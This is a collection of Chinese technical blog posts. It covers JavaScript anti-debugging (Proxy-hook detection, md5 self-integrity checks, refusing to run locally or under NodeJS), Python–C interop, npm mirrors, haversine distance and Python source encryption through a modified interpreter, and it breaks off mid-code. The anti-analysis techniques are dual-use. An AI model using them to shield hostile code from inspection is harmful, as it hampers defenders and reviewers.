效果较差的方法是计算函数或代码块的哈希并将其与已知表进行比较。但是这种方法确实很愚蠢。一种更现实，更有效的方法可以重复使用我们之前在堆栈跟踪中使用的相同策略。我们可以计算代码块的哈希值，并将其用作解密其他代码块的密钥。 创建隐式完整性控件的最漂亮方法是在 md5 中使用冲突。基本上，我们可以创建在自己的函数中测试其自己的 md5 的函数。为了在功能内执行检查，我们需要进行碰撞处理（我们想创建类似的东西 function(){ if (md5(arguments.callee.toString() === '&lt;md5&gt;') code_function; } )。 该技术背后的概念与用于生成图像文件的概念相同，在自己的图片中显示了 md5 校验和。这是一个经典示例：显示自己的 md5 校验和的 gif。 (注：本站的图片处理策略可能更改了图片 md5 值，点击查看原图 =&gt;&nbsp;显示自己的 md5 校验和的 gif) 关于如何产生这种冲突，有大量的文章（甚至在 PoC || GTFO 中出现了一些示例），但是我阅读并可以复制的第一个文章是使用 PHP 编写的。您可以非常快速地预先计算生成碰撞所需的块。实际上，这是 @cgvwzq 创建的示例，通过这种方式检查了函数内容的完整性。 如前所述，我们需要对这种技术进行强力混淆。 代理对象 (old, 已弃用)代理对象是目前 JavaScript 中最有用的一个工具，这种对象可以帮助我们了解代码中的其他对象，包括修改其行为以及触发特定环境下的对象活动。比如说，我们可以创建一个嗲哩对象并跟踪每一次 document.createElement 调用，然后记录下相关信息： const handler = { // Our hook to keep the track apply: function (target, thisArg, args){ console.log(\"Intercepted a call tocreateElement with args: \" + args); return target.apply(thisArg, args) }} document.createElement= new Proxy(document.createElement, handler) // Create our proxy object withour hook ready to interceptdocument.createElement('div'); 接下来，我们可以在控制台中记录下相关参数和信息： VM216:3 Intercepted a call tocreateElement with args: div 我们可以利用这些信息并通过拦截某些特定函数来调试代码，但是本文的主要目的是为了介绍反调试技术，那么我们如何检测 “对方” 是否使用了代理对象呢？其实这就是一场 “猫抓老鼠” 的游戏，比如说，我们可以使用相同的代码段，然后尝试调用 toString 方法并捕获异常： //Call a \"virgin\" createElement:try { document.createElement.toString();}catch(e){ console.log(\"I saw your proxy!\");} 信息如下： \"function createElement() { [native code] }\" 但是当我们使用了代理之后： //Then apply the hookconst handler = { apply: function (target, thisArg, args){ console.log(\"Intercepted a call tocreateElement with args: \" + args); return target.apply(thisArg, args) }}document.createElement= new Proxy(document.createElement, handler); //Callour not-so-virgin-after-that-party createElementtry { document.createElement.toString();}catch(e) { console.log(\"I saw your proxy!\");} 没错，我们确实可以检测到代理： VM391:13 I saw your proxy! 我们还可以添加 toString 方法： const handler = { apply: function (target, thisArg, args){ console.log(\"Intercepted a call tocreateElement with args: \" + args); return target.apply(thisArg, args) }}document.createElement= new Proxy(document.createElement, handler);document.createElement= Function.prototype.toString.bind(document.createElement); //Add toString//Callour not-so-virgin-after-that-party createElementtry { document.createElement.toString();}catch(e) { console.log(\"I saw your proxy!\");} 现在我们就没办法检测到了： \"function createElement() { [native code] }\" 代理对象异常把戏不能再使用了。幸运的是，我们仍然可以通过 toString 长度检测代理对象的使用。例如，document.createElement 的大小为 42（Chrome）： document.createElement.toString().length42 另一方面，当我们创建代理时，此值将更改： const handler = { apply: function(target, thisArg, args) { console.log(\"Intercepted call\"); return target.apply(thisArg, args); }}document.createElement = new Proxy(document.createElement, handler);document.createElement.toString().length29 因此，我们可以执行以下操作： if (document.createElement.toString().length &lt; 30) { console.log(\"I saw your proxy\");}else { console.log(\"Not a proxy\");} 此技巧不能在 windoww 对象中使用，但仍然有用。 限制环境如引言中所述，我们想要做的一件事就是尝试检测代码是否在正确的环境中执行。我们所谓的 “正确的环境” 是： 该代码正在浏览器（不是仿真器，不是 NodeJS 等）中执行。 该代码正在指定给它的域 / 资源中执行（不是本地服务器） 例如，我们可以用来证明代码是否在本地执行的简单检查是： // Pretty stupid idea found in commercial softwareif (location.hostname === \"localhost\" || location.hostname === \"127.0.0.1\" || location.hostname === \"\") { console.log(\"Don't run me here!\")} 如果我们在本地 html 中运行此 JavaScript 代码段，则会看到以下消息： VM28:3 Don't run me here! 按照这个想法，另一个检查选项是用于打开文档的处理程序（类似 if (location.protocol == ‘file:’){…}），或者尝试通过 HTTP 请求进行测试，以确定是否有其他资源（图像，css 等）可用。当然，所有这些方法都非常容易被绕过。&nbsp;如果代码是在 NodeJS 中执行的（或者正如我们在本文中提到的：将流更改为伪造的路径），则可以避免执行代码。这很危险，但是我在野外看到使用 NodeJS 来解决 JavaScript 挑战并绕过反暴力缓解措施。我们可以尝试检测仅存在于浏览器上下文中的对象的存在： //Under NodeJS try { console.log(window); } catch(e){ console.log(\"NodeJS detected!!!!\"); } NodeJS detected!!!! 反之亦然：在 NodeJS 中，我们具有浏览器上下文中不存在的对象。 //Under the browserconsole.log(global)VM104:1 Uncaught ReferenceError: global is not defined at &lt;anonymous&gt;:1:13//Under NodeJS console.log(global){ console: Console { log: [Function: bound log],... ... 我们可以搜索仅存在于浏览器中的大量元数据。我们可以检索到的一些此类想法可以在 Panopticlick Project 中看到。 相关文献javascript-antidebugging","categories":[{"name":"JavaScript","slug":"JavaScript","permalink":"https://blog.mhuig.top/categories/JavaScript/"}],"tags":[{"name":"JavaScript","slug":"JavaScript","permalink":"https://blog.mhuig.top/tags/JavaScript/"},{"name":"反调试","slug":"反调试","permalink":"https://blog.mhuig.top/tags/%E5%8F%8D%E8%B0%83%E8%AF%95/"}]},{"title":"Python 如何调用 C","slug":"Python/Python如何调用C","date":"2020-02-24T07:45:30.000Z","updated":"2020-02-24T07:45:30.000Z","comments":true,"path":"p/b6ffaac2/","link":"","permalink":"https://blog.mhuig.top/p/b6ffaac2/","excerpt":"Python 语言特点：简单，明确，优雅，高效率，同时 Python 语言的可扩展性和可嵌入性很强，又被成为 “胶水语言”。但是 Python 语言有一个最大的缺点，便是运行速度慢，所以当你对速度有要求时，你可以用 C 语言来编写你的关键代码，或者当你希望某些算法不公开时，也可以把你的程序用 C 编写，然后在你的 Python 程序中使用它们。本文将介绍在 Python 程序中如何调用 C…","text":"Python 语言特点：简单，明确，优雅，高效率，同时 Python 语言的可扩展性和可嵌入性很强，又被成为 “胶水语言”。但是 Python 语言有一个最大的缺点，便是运行速度慢，所以当你对速度有要求时，你可以用 C 语言来编写你的关键代码，或者当你希望某些算法不公开时，也可以把你的程序用 C 编写，然后在你的 Python 程序中使用它们。本文将介绍在 Python 程序中如何调用 C… 编写 C 语言代码一个简单的 c 语言程序，实现了两个整数的加法运算 #include &lt;stdio.h&gt;int sum(int a,int b){ return a + b;} 生成 so 库文件使用命令： gcc -fPIC -shared main.c -o lib.so so 库文件不能跨平台使用，如果你在 Windows 下面生成的，便只能够在 Windows 下面使用，使用命令以后，生成后缀为.so 的库文件 编写 Python 程序来调用 C 语言 把 so 库文件放入我们的 Python 项目中 使用 ctypes 库中的 CDLL 来加载库 lib_main = CDLL (‘so 库文件路径’) 调用 C sum_value = lib_main.sum (10, 20) # ctypes的库from ctypes import *# 加载so库lib_main = CDLL('./lib.so') # CDLL加载库sum_value = lib_main.sum(10, 20)print(sum_value) 最终得到结果 30 ctypes 库是 Python 提供的一个外部函数库，提供 C 语言兼容集中数据类型，可以允许调用 C 编译好的库，已下附上 ctypes 库官方文档：https://docs.python.org/3/library/ctypes.html","categories":[{"name":"Python","slug":"Python","permalink":"https://blog.mhuig.top/categories/Python/"}],"tags":[{"name":"Python","slug":"Python","permalink":"https://blog.mhuig.top/tags/Python/"}]},{"title":"Npm 更换源","slug":"web/npm更换源","date":"2020-02-23T11:02:43.000Z","updated":"2020-02-23T11:02:43.000Z","comments":true,"path":"p/ba036091/","link":"","permalink":"https://blog.mhuig.top/p/ba036091/","excerpt":"由于 npm 的源在国外，所以国内用户使用起来有很多不方便，比如拖慢下载速度。","text":"由于 npm 的源在国外，所以国内用户使用起来有很多不方便，比如拖慢下载速度。 如何使用有很多方法来配置 npm registry 地址，下面根据不同情境列出几种比较常用的方法。以淘宝 npm 为例 更换为淘宝 npm 源npm config set registry http://registry.npmmirror.com 使用 npm 官方镜像npm config set registry https://registry.npmjs.org/ NPM 检查并更新项目依赖的版本#### 安装npm install -g npm-check-updates#### 检查当前目录下可更新的依赖项ncu#### 升级 package.jsonncu -u#### 根据更新的 package.json 安装新版本npm install 已知的 npm 镜像源目前国内除了淘宝（npmmirror），已知的 npm 镜像源还有： 华为云 https://mirrors.huaweicloud.com/home 腾讯云 https://mirrors.cloud.tencent.com/help/npm.html 南京邮电大学（NJUPT） https://mirrors.njupt.edu.cn/help/npm/ 浙江大学 https://mirrors.zju.edu.cn/npm/ 已知的 Nodejs 预编译包： 教育网内可去 https://mirrorz.org/list/nodejs-release 任选 华为云 https://repo.huaweicloud.com/nodejs/ 淘宝 NPM 镜像站喊你切换新域名啦【公告】淘宝 npm 域名即将切换 &amp;&amp; npmmirror 重构升级https://zhuanlan.zhihu.com/p/465424728 【望周知】淘宝 NPM 镜像站喊你切换新域名啦https://zhuanlan.zhihu.com/p/430580607 要点总结如下： 淘宝 NPM 镜像站品牌升级，新品牌为 npmmirror （NPM 中国镜像站）。 广为人知的淘宝 NPM 镜像老域名（*.npm.taobao.org）将在 2022.06.30 号正式下线和停止 DNS 解析。 涉及到的域名迁移如下：http://npm.taobao.org =&gt; http://npmmirror.comhttp://registry.npm.taobao.org =&gt; http://registry.npmmirror.com 可能产生的大影响：简而言之，所有写死的都得换。企业用户需要联系 网管 / IT/SRE 更新防火墙白名单。存量应用的 lock 文件，开发者需要自行执行 sed 等指令去替换或重新生成。本地 npmrc 里面的 registry 地址（如果有，则）需要开发者自行更新。 本文已经过时的内容备份 2022.02.12 移除内容## 如何使用有很多方法来配置npm registry地址，下面根据不同情境列出几种比较常用的方法。以淘宝npm为例### 临时使用``bashnpm --registry https://registry.npm.taobao.org install express``### 持久使用``bashnpm config set registry https://registry.npm.taobao.org``配置后可通过下面方式来验证是否成功：``bashnpm config get registry``或者``bashnpm info express``### 更换为淘宝npm源``bashnpm install -g cnpm --registry=https://registry.npm.taobao.org``通过cnpm更新模块``bashcnpm install expresstall express``### 使用官方镜像``bashnpm config set registry https://registry.npmjs.org/``## 总结更换为淘宝npm源``bashnpm config set registry https://registry.npm.taobao.org``使用官方镜像``bashnpm config set registry https://registry.npmjs.org/``NPM检查并更新项目依赖的版本``bash#### 安装npm install -g npm-check-updates#### 检查当前目录下可更新的依赖项ncu#### 升级 package.jsonncu -u#### 根据更新的 package.json 安装新版本npm install``","categories":[{"name":"npm","slug":"npm","permalink":"https://blog.mhuig.top/categories/npm/"}],"tags":[{"name":"npm","slug":"npm","permalink":"https://blog.mhuig.top/tags/npm/"}]},{"title":"LBS 球面距离公式","slug":"math/LBS 球面距离公式","date":"2020-02-23T01:40:32.000Z","updated":"2020-02-23T01:40:32.000Z","comments":true,"path":"p/5e7ad437/","link":"","permalink":"https://blog.mhuig.top/p/5e7ad437/","excerpt":"","text":"维基百科推荐使用公式，理由是公式用到了大量余弦函数， 而两点间距离很短时（比如地球表面上相距几百米的两点），余弦函数会得出 0.999… 的结果， 会导致较大的舍入误差。而公式采用了正弦函数，即使距离很小，也能保持足够的有效数字。 以前采用三角函数表计算时的确会有这个问题，但经过实际验证，采用计算机来计算时，两个公式的区别不大。 稳妥起见，这里还是采用公式。 Haversine 公式⊿ 其中 为地球半径，可取平均值 , 表示两点的纬度； 表示两点经度的差值。 距离计算函数下面就是计算球面间两点之间距离的函数。 from math import sin, asin, cos, radians, fabs, sqrt EARTH_RADIUS=6371 # 地球平均半径，6371km def hav(theta): s = sin(theta / 2) return s * s def get_distance_hav(lat0, lng0, lat1, lng1): \"用haversine公式计算球面两点间的距离。\" # 经纬度转换成弧度 lat0 = radians(lat0) lat1 = radians(lat1) lng0 = radians(lng0) lng1 = radians(lng1) dlng = fabs(lng0 - lng1) dlat = fabs(lat0 - lat1) h = hav(dlat) + cos(lat0) * cos(lat1) * hav(dlng) distance = 2 * EARTH_RADIUS * asin(sqrt(h)) return distance 相关文献LBS 球面距离公式","categories":[{"name":"Math","slug":"Math","permalink":"https://blog.mhuig.top/categories/Math/"}],"tags":[{"name":"Python","slug":"Python","permalink":"https://blog.mhuig.top/tags/Python/"},{"name":"Math","slug":"Math","permalink":"https://blog.mhuig.top/tags/Math/"},{"name":"距离","slug":"距离","permalink":"https://blog.mhuig.top/tags/%E8%B7%9D%E7%A6%BB/"}]},{"title":"","slug":"notes/NoSQL","date":"2020-02-08T23:56:00.000Z","updated":"2022-05-12T23:56:00.000Z","comments":false,"path":"p/notes-nosql/","link":"","permalink":"https://blog.mhuig.top/p/notes-nosql/","excerpt":"","text":".fa-secondary{opacity:.4} NoSQL NoSQL 开始阅读","categories":[{"name":"大数据","slug":"大数据","permalink":"https://blog.mhuig.top/categories/%E5%A4%A7%E6%95%B0%E6%8D%AE/"},{"name":"NoSQL","slug":"大数据/NoSQL","permalink":"https://blog.mhuig.top/categories/%E5%A4%A7%E6%95%B0%E6%8D%AE/NoSQL/"}],"tags":[{"name":"NoSQL","slug":"NoSQL","permalink":"https://blog.mhuig.top/tags/NoSQL/"}]},{"title":"如何加密你的 Python 代码","slug":"Python/如何加密你的 Python 代码","date":"2020-02-05T05:08:17.000Z","updated":"2020-02-05T05:08:17.000Z","comments":true,"path":"p/b190dcb/","link":"","permalink":"https://blog.mhuig.top/p/b190dcb/","excerpt":"讲述了如何通过修改 Python 解释器达到加解密 Python 代码的目的。","text":"讲述了如何通过修改 Python 解释器达到加解密 Python 代码的目的。 前言本文将首先介绍下现有源码加密方案的思路、方法、优点与不足，进而介绍如何通过定制 Python 解释器来达到更好地加解密源码的目的。 现有加密方案由于 Python 的动态特性和开源特点，导致 Python 代码很难做到很好的加密。社区中的一些声音认为这样的限制是事实，应该通过法律手段而不是加密源码达到商业保护的目的；而还有一些声音则是不论如何都希望能有一种手段来加密。于是乎，人们想出了各种或加密、或混淆的方案，借此来达到保护源码的目的。 常见的源码保护手段有如下几种： 发行 .pyc 文件 代码混淆 使用 py2exe 使用 Cython 下面来简单说说这些方案。 发行 .pyc 文件思路大家都知道，Python 解释器在执行代码的过程中会首先生成 .pyc 文件，然后解释执行 .pyc 文件中的内容。当然了，Python 解释器也能够直接执行 .pyc 文件。而 .pyc 文件是二进制文件，无法直接看出源码内容。如果发行代码到客户环境时都是 .pyc 而非 .py 文件的话，那岂不是能达到保护 Python 代码的目的？ 方法把 .py 文件编译为 .pyc 文件，是件非常轻松地事情，可不需要把所有代码跑一遍，然后去捞生成的 .pyc 文件。 事实上，Python 标准库中提供了一个名为 compileall 的库，可以轻松地进行编译。 执行如下命令能够将遍历 目录下的所有 .py 文件，将之编译为 .pyc 文件： python -m compileall &lt;src&gt; 然后删除 目录下所有 .py 文件就可以打包发布了： find &lt;src&gt; -name '*.py' -type f -print -exec rm {} \\; 优点 简单方便，提高了一点源码破解门槛 平台兼容性好，.py 能在哪里运行，.pyc 就能在哪里运行 不足 解释器兼容性差，.pyc 只能在特定版本的解释器上运行 有现成的反编译工具，破解成本低 python-uncompyle6 就是这样一款反编译工具，效果出众。 执行如下命令，即可将 .pyc 文件反编译为 .py 文件： uncompyle6 *compiled-python-file-pyc-or-pyo* 代码混淆如果代码被混淆到一定程度，连作者看着都费劲的话，是不是也能达到保护源码的目的呢？ 思路既然我们的目的是混淆，就是通过一系列的转换，让代码逐渐不那么让人容易明白，那就可以这样下手： 移除注释和文档。没有这些说明，在一些关键逻辑上就没那么容易明白了。 改变缩进。完美的缩进看着才舒服，如果缩进忽长忽短，看着也一定闹心。 在 tokens 中间加入一定空格。这就和改变缩进的效果差不多。 重命名函数、类、变量。命名直接影响了可读性，乱七八糟的名字可是阅读理解的一大障碍。 在空白行插入无效代码。这就是障眼法，用无关代码来打乱阅读节奏。 方法方法一：使用 oxyry 进行混淆http://pyob.oxyry.com/ 是一个在线混淆 Python 代码的网站，使用它可以方便地进行混淆。 假定我们有这样一段 Python 代码，涉及到了类、函数、参数等内容： # coding: utf-8class A(object): \"\"\" Description \"\"\" def __init__(self, x, y, default=None): self.z = x + y self.default = default def name(self): return 'No Name'def always(): return Truenum = 1a = A(num, 999, 100)a.name()always() 经过 Oxyry 的混淆，得到如下代码： class A (object ):#line:4 \"\"#line:7 def __init__ (O0O0O0OO00OO000O0 ,OO0O0OOOO0000O0OO ,OO0OO00O00OO00OOO ,OO000OOO0O000OOO0 =None ):#line:9 O0O0O0OO00OO000O0 .z =OO0O0OOOO0000O0OO +OO0OO00O00OO00OOO #line:10 O0O0O0OO00OO000O0 .default =OO000OOO0O000OOO0 #line:11 def name (O000O0O0O00O0O0OO ):#line:13 return 'No Name'#line:14def always ():#line:17 return True #line:18num =1 #line:21a =A (num ,999 ,100 )#line:22a .name ()#line:23always () 混淆后的代码主要在注释、参数名称和空格上做了些调整，稍微带来了点阅读上的障碍。 方法二：使用 pyobfuscate 库进行混淆pyobfuscate 算是一个颇具年头的 Python 代码混淆库了，但却是 “老当益壮” 了。 对上述同样一段 Python 代码，经 pyobfuscate 混淆后效果如下： # coding: utf-8if 64 - 64: i11iIiiIiiif 65 - 65: O0 / iIii1I11I1II1 % OoooooooOO - i1IIiclass o0OO00 ( object ) : if 78 - 78: i11i . oOooOoO0Oo0O if 10 - 10: IIiI1I11i11 if 54 - 54: i11iIi1 - oOo0O0Ooo if 2 - 2: o0 * i1 * ii1IiI1i % OOooOOo / I11i / Ii1I def __init__ ( self , x , y , default = None ) : self . z = x + y self . default = default if 48 - 48: iII111i % IiII + I1Ii111 / ooOoO0o * Ii1I def name ( self ) : return 'No Name' if 46 - 46: ooOoO0o * I11i - OoooooooOO if 30 - 30: o0 - O0 % o0 - OoooooooOO * O0 * OoooooooOOdef Oo0o ( ) : return True if 60 - 60: i1 + I1Ii111 - I11i / i1IIi if 40 - 40: oOooOoO0Oo0O / O0 % ooOoO0o + O0 * i1IIiI1Ii11I1Ii1i = 1Ooo = o0OO00 ( I1Ii11I1Ii1i , 999 , 100 )Ooo . name ( )Oo0o ( ) # dd678faae9ac167bc83abf78e5cb2f3f0688d3a3 相比于方法一，方法二的效果看起来更好些。除了类和函数进行了重命名、加入了一些空格，最明显的是插入了若干段无关的代码，变得更加难读了。 优点 简单方便，提高了一点源码破解门槛 兼容性好，只要源码逻辑能做到兼容，混淆代码亦能 不足 只能对单个文件混淆，无法做到多个互相有联系的源码文件的联动混淆 代码结构未发生变化，也能获取字节码，破解难度不大 使用 py2exe思路py2exe 是一款将 Python 脚本转换为 Windows 平台上的可执行文件的工具。其原理是将源码编译为 .pyc 文件，加之必要的依赖文件，一起打包成一个可执行文件。 如果最终发行由 py2exe 打包出的二进制文件，那岂不是达到了保护源码的目的？ 方法使用 py2exe 进行打包的步骤较为简便。 1. 编写入口文件。本示例中取名为 hello.py： print 'Hello World' 2. 编写 setup.py： from distutils.core import setupimport py2exesetup(console=['hello.py']) 3. 生成可执行文件 python setup.py py2exe 生成的可执行文件位于 dist\\hello.exe。 优点 能够直接打包成 exe，方便分发和执行 破解门槛比 .pyc 更高一些 不足 兼容性差，只能运行在 Windows 系统上 生成的可执行文件内的布局是明确、公开的，可以找到源码对应的 .pyc 文件，进而反编译出源码 使用 Cython思路虽说 Cython 的主要目的是带来性能的提升，但是基于它的原理：将 .py/.pyx 编译为 .c 文件，再将 .c 文件编译为 .so (Unix) 或 .pyd (Windows)，其带来的另一个好处就是难以破解。 方法使用 Cython 进行开发的步骤也不复杂。 1. 编写文件 hello.pyx 或 hello.py： def hello(): print('hello') 2. 编写 setup.py： from distutils.core import setupfrom Cython.Build import cythonizesetup(name='Hello World app', ext_modules=cythonize('hello.pyx')) 3. 编译为 .c，再进一步编译为 .so 或 .pyd： python setup.py build_ext --inplace 执行 python -c “from hello import hello;hello ()” 即可直接引用生成的二进制文件中的 hello () 函数。 优点 生成的二进制 .so 或 .pyd 文件难以破解 同时带来了性能提升 不足 兼容性稍差，对于不同版本的操作系统，可能需要重新编译 虽然支持大多数 Python 代码，但如果一旦发现部分代码不支持，完善成本较高 定制 Python 解释器考虑前文所述的几个方案，均是从源码的加工入手，或多或少都有些不足。假设我们从解释器的改造入手，会不会能够更好的保护代码呢？ 由于发行商业 Python 程序到客户环境时通常会包含一个 Python 解释器，如果改造解释器能解决源码保护的问题，那么也是可选的一条路。 假定我们有一个算法，能够加密原始的 Python 代码，这些加密后代码随发行程序一起，可被任何人看到，却难以破解。另一方面，有一个定制好的 Python 解释器，它能够解密这些被加密的代码，然后解释执行。而由于 Python 解释器本身是二进制文件，人们也就无法从解释器中获取解密的关键数据。从而达到了保护源码的目的。 要实现上述的设想，我们首先需要掌握基本的加解密算法，其次探究 Python 执行代码的方式从而了解在何处进行加解密，最后禁用字节码用以防止通过 .pyc 反编译。 加解密算法对称密钥加密算法对称密钥加密（Symmetric-key algorithm）又称为对称加密、私钥加密、共享密钥加密，是密码学中的一类加密算法。这类算法在加密和解密时使用相同的密钥，或是使用两个可以简单地相互推算的密钥。 对称加密算法的特点是算法公开、计算量小、加密速度快、加密效率高。 常见的对称加密算法有：DES、3DES、AES、Blowfish、IDEA、RC5、RC6 等。 对称密钥加解密过程如下： 明文通过密钥加密成密文，密文也可通过相同的密钥解密为明文。 通过 openssl 工具，我们能够方便选择对称加密算法进行加解密。下面我们以 AES 算法为例，介绍其用法。 AES 加密指定密码进行对称加密 openssl enc -aes-128-cbc -in test.py -out entest.py -pass pass:123456 指定文件进行对称加密 openssl enc -aes-128-cbc -in test.py -out entest.py -pass file:passwd.txt 指定环境变量进行对称加密 openssl enc -aes-128-cbc -in test.py -out entest.py -pass env:passwd AES 解密指定密码进行对称解密 openssl enc -aes-128-cbc -d -in entest.py -out test.py -pass pass:123456 指定文件进行对称解密 openssl enc -aes-128-cbc -d -in entest.py -out test.py -pass file:passwd.txt 指定环境变量进行对称解密 openssl enc -aes-128-cbc -d -in entest.py -out test.py -pass env:passwd 非对称密钥加密算法密钥加密（英语：public-key cryptography，又译为公开密钥加密），也称为非对称加密（asymmetric cryptography），一种密码学算法类型，在这种密码学方法中，需要一对密钥，一个是私钥，另一个则是公钥。这两个密钥是数学相关，用某用户公钥加密后所得的信息，只能用该用户的私钥才能解密。 非对称加密算法的特点是算法强度复杂、安全性依赖于算法与密钥但是由于其算法复杂，而使得加密解密速度没有对称加密解密的速度快。 常见的对称加密算法有：RSA、Elgamal、背包算法、Rabin、D-H、ECC 等。 非对称密钥加解密过程如下： 明文通过公钥加密成密文，密文通过与公钥对应的私钥解密为明文。 通过 openssl 工具，我们能够方便选择非对称加密算法进行加解密。下面我们以 RSA 算法为例，介绍其用法。 生成私钥、公钥辅以 AES-128 算法，生成 2048 比特长度的私钥 openssl genrsa -aes128 -out private.pem 2048 根据私钥来生成公钥 openssl rsa -in private.pem -outform PEM -pubout -out public.pem RSA 加密使用公钥进行加密 openssl rsautl -encrypt -in passwd.txt -inkey public.pem -pubin -out enpasswd.txt RSA 解密使用私钥进行解密 openssl rsautl -decrypt -in enpasswd.txt -inkey private.pem -out passwd.txt 基于加密算法实现源码保护对称加密适合加密源码文件，而非对称加密适合加密密钥。如果将两者结合，就能达到加解密源码的目的。 在构建环境进行加密我们发行出去安装包中，源码应该是被加密过的，那么就需要在构建阶段对源码进行加密。加密的过程如下： 1. 随机生成一个密钥。这个密钥实际上是一个用于对称加密的密码。 2. 使用该密钥对源代码进行对称加密，生成加密后的代码。 3. 使用公钥（生成方法见 非对称密钥加密算法）对该密钥进行非对称加密，生成加密后的密钥。 不论是加密后的代码还是加密后的密钥，都会放在安装包中。它们能够被用户看到，却无法被破译。而 Python 解释器该如何执行加密后的代码呢？ Python 解释器进行解密假定我们发行的 Python 解释器中内置了与公钥相对应的私钥，有了它就有了解密的可能。而由于 Python 解释器本身是二进制文件，所以不需要担心内置的私钥会被看到。解密的过程如下： 1.Python 解释器执行加密代码时需要被传入指示加密密钥的参数，通过这个参数，解释器获取到了加密密钥 2.Python 解释器使用内置的私钥，对该加密密钥进行非对称解密，得到原始密钥 3.Python 解释器使用原始密钥对加密代码进行对称解密，得到原始代码 4.Python 解释器执行这段原始代码 可以看到，通过改造构建环节、定制 Python 解释器的执行过程，便可以实现保护源码的目的。改造构建环节是容易的，但是如何定制 Python 解释器呢？我们需要深入了解解释器执行脚本和模块的方式，才能在特定的入口进行控制。 脚本、模块的执行与解密执行 Python 代码的几种方式为了找到 Python 解释器执行 Python 代码时的所有入口，我们需要首先执行 Python 解释器都能以怎样的方式执行代码。 直接运行脚本python test.py 直接运行语句python -c \"print 'hello'\" 直接运行模块python -m test 导入、重载模块python&gt;&gt;&gt; import test # 导入模块&gt;&gt;&gt; reload(test) # 重载模块 直接运行语句 的方式接收的就是明文的代码，我们也无需对这种方式做额外处理。直接运行模块和导入、重载模块这两种方式在流程上是殊途同归的，所以接下来会一起来看。因此我们将分两种情况：运行脚本和加载模块来进一步探究各自的过程和解密方式。 运行脚本时解密运行脚本的过程Python 解释器在运行脚本时的代码调用逻辑如下： main WinMain[Modules/python.c] [PC/WinMain.c] \\ / \\ / \\ / \\ / \\ / Py_Main [Moduls/main.c] Python 解释器运行脚本的入口函数因操作系统而异，在 Linux/Unix 系统上，主入口函数是 Modules/python.c 中的 main 函数，在 Windows 系统上，则是 PC/WinMain.c 中的 WinMain 函数。不过这两个函数最终都会调用 Moduls/main.c 中的 Py_Main 函数。 我们不妨来看看 Py_Main 函数中的相关逻辑： [Modules/Main.c]--------------------------------------intPy_Main(int argc, char **argv){ if (command) { // 处理 python -c &lt;command&gt; } else if (module) { // 处理 python -m &lt;module&gt; } else { // 处理 python &lt;file&gt; ... fp = fopen(filename, \"r\"); ... } 处理和的部分我们暂且先不管，在处理文件（通过直接运行脚本的方式）的逻辑中，可以看到解释打开了文件，获得了文件指针。那么如果我们把这里的 fopen 换成是自定义的 decrypt_open 函数，这个函数用来打开一个加密文件，然后进行解密，并返回一个文件指针，这个指针指向解密后的文件。那么，不就可以实现解密脚本的目的了吗？ 自定义 decrypt_open我们不妨新增一个 Modules/crypt.c 文件，用来存放一些自定义的加解密函数。 decrypt_open 函数大概实现如下： [Modules/crypt.c]--------------------------------------/* 以解密方式打开文件 */FILE *decrypt_open(const char *filename, const char *mode){ int plainlen = -1; char *plaintext = NULL; FILE *fp = NULL; if (aes_passwd == NULL) fp = fopen(filename, \"r\"); else { plainlen = aes_decrypt(filename, aes_passwd, &amp;plaintext); // 如果无法解密，返回源文件描述符 if (plainlen &lt; 0) fp = fopen(filename, \"r\"); // 否则，转换为内存文件描述符 else fp = fmemopen(plaintext, plainlen, \"r\"); } return fp;} 这里的 aes_passwd 是一个全局变量，代表对称加密算法中的密钥。我们暂时假定已经获取该密钥了，后文会说明如何获得。而 aes_decrypt 是自定义的一个使用 AES 算法进行对称解密的函数，限于篇幅，此函数的实现不再贴出。 decrypt_open 逻辑如下： 判断是否获得了对称密钥，如果没获得，直接打开该文件并返回文件指针 如果获得了，则尝试使用对称算法进行解密 如果解密失败，可能就是一段非加密的脚本，直接打开该文件并返回文件指针 如果解密成功，我们通过解密后的内容创建一个内存文件对象，并返回该文件指针实现了上述这些函数后，我们就能够实现在直接运行脚本时，解密执行被加密代码的目的。 加载模块时解密加载模块的过程加载模块的逻辑主要实现在 Python/import.c 文件中，其过程如下： Py_Main [Moduls/main.c] | builtin___import__ RunModule | |PyImport_ImportModuleLevel &lt;----┐ PyImport_ImportModule | | | import_module_level └------- PyImport_Import | load_next builtin_reload | | import_submodule PyImport_ReloadModule | | find_module &lt;---------------------------┘ 通过 python -m 的方式来加载模块时，其入口函数是 Py_Main 函数 通过 import 的方式来加载模块时，其入口函数是 builtin___import__ 函数 通过 reload () 的方式来加载模块时，其入口函数是 builtin_reload 函数 但不论是哪种方式，最终都会调用 find_module 函数，我们看看这个函数中是否暗藏乾坤呢？ [Python/import.c]--------------------------------------static struct filedescr *find_module(char *fullname, char *subname, PyObject *path, char *buf, size_t buflen, FILE **p_fp, PyObject **p_loader){ ... fp = fopen(buf, filemode); ...} 我们在 find_module 函数中找到了打开文件的逻辑，如果直接改成前文实现的 decrypt_open，岂不是就能达成加载模块时解密的目的了？ 总体思路是这样的，但有个细节需要注意，buf 不一定就是 .py 文件，也可能是 .pyc 文件，我们只对 .py 文件做改动，则可以这么写： [Python/import.c]--------------------------------------static struct filedescr *find_module(char *fullname, char *subname, PyObject *path, char *buf, size_t buflen, FILE **p_fp, PyObject **p_loader){ ... if (fdp-&gt;type == PY_SOURCE) { fp = decrypt_open(buf, filemode); } else { fp = fopen(buf, filemode); } ...} 经过上述改动，就实现了加载模块时解密的目的了。 支持指定密钥文件前文中还留有一个待解决的问题：我们一开始是假定解释器已获取到了密钥内容并存放在了全局变量 aes_passwd 中，那么密钥内容怎么获取呢？ 我们需要 Python 解释器能支持一个新的参数选项，通过它来指定已加密的密钥文件，然后再通过非对称算法进行解密，得到 aes_passed。 假定这个参数选项是 -k ，则可使用如 python -k enpasswd.txt 的方式来告知解释器加密密钥的文件路径。其实现如下： [Modules/main.c]--------------------------------------/* 命令行选项，注意k:是新增的内容 */#define BASE_OPTS \"3bBc:dEhiJk:m:OQ:RsStuUvVW:xX?\".../* Long usage message, split into parts &lt; 512 bytes */static char *usage_1 = \"\\...-k key : decrypt source file by using key file\\n\\...\";...intPy_Main(int argc, char **argv){ ... char *keyfilename = NULL; ... while ((c = _PyOS_GetOpt(argc, argv, PROGRAM_OPTS)) != EOF) { ... case 'k': keyfilename = (char *)malloc(strlen(_PyOS_optarg) + 1); if (keyfilename == NULL) Py_FatalError( \"not enough memory to copy -k argument\"); strcpy(keyfilename, _PyOS_optarg); keyfilename[strlen(_PyOS_optarg)] = '\\0'; break; ... } ... if (keyfilename != NULL) { int passwdlen; char *passwd = NULL; passwdlen = rsa_decrypt(keyfilename, &amp;passwd); set_aes_passwd(passwd); if (passwdlen &lt; 0) { 